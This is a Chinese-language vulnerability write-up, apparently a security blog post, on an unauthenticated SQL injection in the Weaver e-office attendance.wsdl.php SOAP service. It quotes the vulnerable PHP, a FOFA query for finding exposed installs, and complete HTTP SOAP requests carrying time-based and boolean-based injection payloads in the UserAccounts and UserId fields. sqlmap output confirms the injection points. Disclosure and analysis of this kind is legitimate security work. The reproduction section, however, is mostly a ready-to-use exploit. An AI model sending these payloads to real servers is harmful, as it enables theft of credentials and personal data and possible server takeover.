泛微e-office attendance.wsdl.php sql注入漏洞


漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office attendance.wsdl.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语法

app="泛微-EOffice"

漏洞分析

直接看 flow_xml.php 文件业务逻辑实现

<?php

function GetLoginInOut( $UserId, $HandSign )
{
    $AttensApi = new attend( );
    $UserInfo['UserId'] = $UserId;
    $UserInfo['DeptId'] = ( $UserId );
    $UserInfo['PrivId'] = ( $UserId );
    $UserInfo['LoginCheck'] = $HandSign;
    $LoginTime = $AttensApi->GetLoginInOut( $UserInfo );
    return ( $LoginTime );
}

function SaveAttendance( $UserAccounts, $AttendanceTime )
{
    $Attend = new attend( );
    $User = new user( );
    $UserId = $User->getUserIDByUserAccount( $UserAccounts );
    $UserInfo['UserId'] = $UserId;
    $UserInfo['DeptId'] = ( $UserId );
    $UserInfo['PrivId'] = ( $UserId );
    $UserInfo['AttTime'] = $AttendanceTime;
    $AttResult = $Attend->InsertAttendance( $UserInfo );
    return ( $AttResult );
}

include_once( "inc/checkcurrentsession.php" );
include_once( "nusoap/lib/nusoap.php" );
include_once( "api/attend.class.php" );
include_once( "api/user.class.php" );
include_once( "inc/conn.php" );
include_once( "inc/utility_all.php" );
$server = new soap_server( );
$server->soap_defencoding = "UTF-8";
$server->decode_utf8 = false;
$server->configureWSDL( "AttendaceServicewsdl", "urn:AttendaceServicewsdl" );
$server->wsdl->schemaTargetNamespace = "urn:AttendaceServicewsdl";
$server->register( "SaveAttendance", array( "UserAccounts" => "xsd:string", "AttendanceTime" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:AttendaceServicewsdl", "urn:AttendaceServicewsdl#SaveAttendance", "rpc", "encoded", "Get E-office Atten SaveAttendance" );
$server->register( "GetLoginInOut", array( "UserId" => "xsd:string", "HandSign" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:AttendaceServicewsdl", "urn:AttendaceServicewsdl#GetLoginInOut", "rpc", "encoded", "Get E-office Atten GetLoginInOut" );
$server->service( $HTTP_RAW_POST_DATA );
?>

这是一个基于 PHP 的 SOAP 服务实现,它提供了两个主要的功能:SaveAttendance 和 GetLoginInOut

浏览器打开 /webservice-json/attendance/attendance.wsdl.php 看下

直接在 attendance.wsdl.php 后加上 ?wsdl 再使用 SoapUI 或者 burp 的Wsdler 插件解析即可得到HTTP请求报文

SaveAttendance

先看 SaveAttendance 功能实现逻辑

$UserAccounts 直接带入 SaveAttendance 函数,业务逻辑如下

public function getUserIDByUserAccount( $userAccount )
    {
        global $connection;
        $sql = "SELECT USER_ID FROM user WHERE USER_ACCOUNTS='".$userAccount."'";
        $rs = ( $connection, $sql );
        if ( $row = ( $rs ) )
        {
            return $row['USER_ID'];
        }
        else
        {
            return false;
        }
    }

$userAccount 是直接拼接进SQL语句中执行,无任何过滤,造成SQL注入漏洞。

GetLoginInOut

function GetLoginInOut( $UserId, $HandSign )
{
    $AttensApi = new attend( );
    $UserInfo['UserId'] = $UserId;
    $UserInfo['DeptId'] = ( $UserId );
    $UserInfo['PrivId'] = ( $UserId );
    $UserInfo['LoginCheck'] = $HandSign;
    $LoginTime = $AttensApi->GetLoginInOut( $UserInfo );
    return ( $LoginTime );
}

$UserId 和 $HandSign 直接带入 GetLoginInOut 函数,其业务逻辑如下

public function GetLoginInOut( $UserInfo )
    {
        global $connection;
        $LoginArray = array( );
        $dutyId = $this->getUserDutyType( $UserInfo['UserId'] );
        $dutyArray = $this->getDutyData( $dutyId );

将 $UserInfo['UserId'] 带入 getUserDutyType 函数,其业务逻辑实现如下

public function getUserDutyType( $userId )
    {
        global $connection;
        $query = "\r\n\t\t\t\t SELECT DUTY_TYPE FROM USER\r\n\t\t\t\t\t WHERE USER_ID = '{$userId}'\r\n\t\t\t\t ";
        $res = ( $connection, $query );
        $Row = ( $res );
        return $Row['DUTY_TYPE'];
    }

可以看到和上面的 SaveAttendance 函数注入一样也是 UserId 直接拼接进SQL语句中,造成SQL注入漏洞。

漏洞复现

SaveAttendance

POST /webservice-json/attendance/attendance.wsdl.php HTTP/1.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:AttendaceServicewsdl#SaveAttendance
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082
Content-Length: 559

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:SaveAttendance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserAccounts xsi:type="xsd:string">admin' OR (SELECT 4248 FROM (SELECT(SLEEP(5)))OJuv)-- IPbA</UserAccounts>
         <AttendanceTime xsi:type="xsd:string">2025-02-01</AttendanceTime>
      </urn:SaveAttendance>
   </soapenv:Body>
</soapenv:Envelope>

通过时间盲注 成功延时 5 秒。

通过 sqlmap 还可测试出其他注入方式如下

sqlmap identified the following injection point(s) with a total of 410 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:SaveAttendance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserAccounts xsi:type="xsd:string">admin' RLIKE (SELECT (CASE WHEN (2334=2334) THEN 0x61646d696e ELSE 0x28 END))-- FaCR</UserAccounts>
         <AttendanceTime xsi:type="xsd:string">2025-02-01</AttendanceTime>
      </urn:SaveAttendance>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:SaveAttendance soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserAccounts xsi:type="xsd:string">admin' OR (SELECT 4248 FROM (SELECT(SLEEP(5)))OJuv)-- IPbA</UserAccounts>
         <AttendanceTime xsi:type="xsd:string">2025-02-01</AttendanceTime>
      </urn:SaveAttendance>
   </soapenv:Body>
</soapenv:Envelope>
---

GetLoginInOut

POST /webservice-json/attendance/attendance.wsdl.php HTTP/1.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
SOAPAction: urn:AttendaceServicewsdl#GetLoginInOut
Content-Type: text/xml;charset=UTF-8
Host: eoffice.mrxn.net:8082
Content-Length: 533

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetLoginInOut soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">1' OR (SELECT 4248 FROM (SELECT(SLEEP(5)))OJuv)-- IPbA</UserId>
         <HandSign xsi:type="xsd:string">test</HandSign>
      </urn:GetLoginInOut>
   </soapenv:Body>
</soapenv:Envelope>

成功延时 23 秒

以及 sleep 2 秒 实际延时 8 秒

以及 sqlmap 的结果

sqlmap identified the following injection point(s) with a total of 422 HTTP(s) requests:
---
Parameter: SOAP #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetLoginInOut soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">1' RLIKE (SELECT (CASE WHEN (7677=7677) THEN 1 ELSE 0x28 END))-- EJoT</UserId>
         <HandSign xsi:type="xsd:string">test</HandSign>
      </urn:GetLoginInOut>
   </soapenv:Body>
</soapenv:Envelope>

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:AttendaceServicewsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:GetLoginInOut soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <UserId xsi:type="xsd:string">1' AND 6140=BENCHMARK(5000000,MD5(0x6b794775))-- ompp</UserId>
         <HandSign xsi:type="xsd:string">test</HandSign>
      </urn:GetLoginInOut>
   </soapenv:Body>
</soapenv:Envelope>
---

手机扫码阅读

泛微e-office notify.wsdl.php sql注入漏洞

泛微e-office flow_xml.php sql注入漏洞

评 论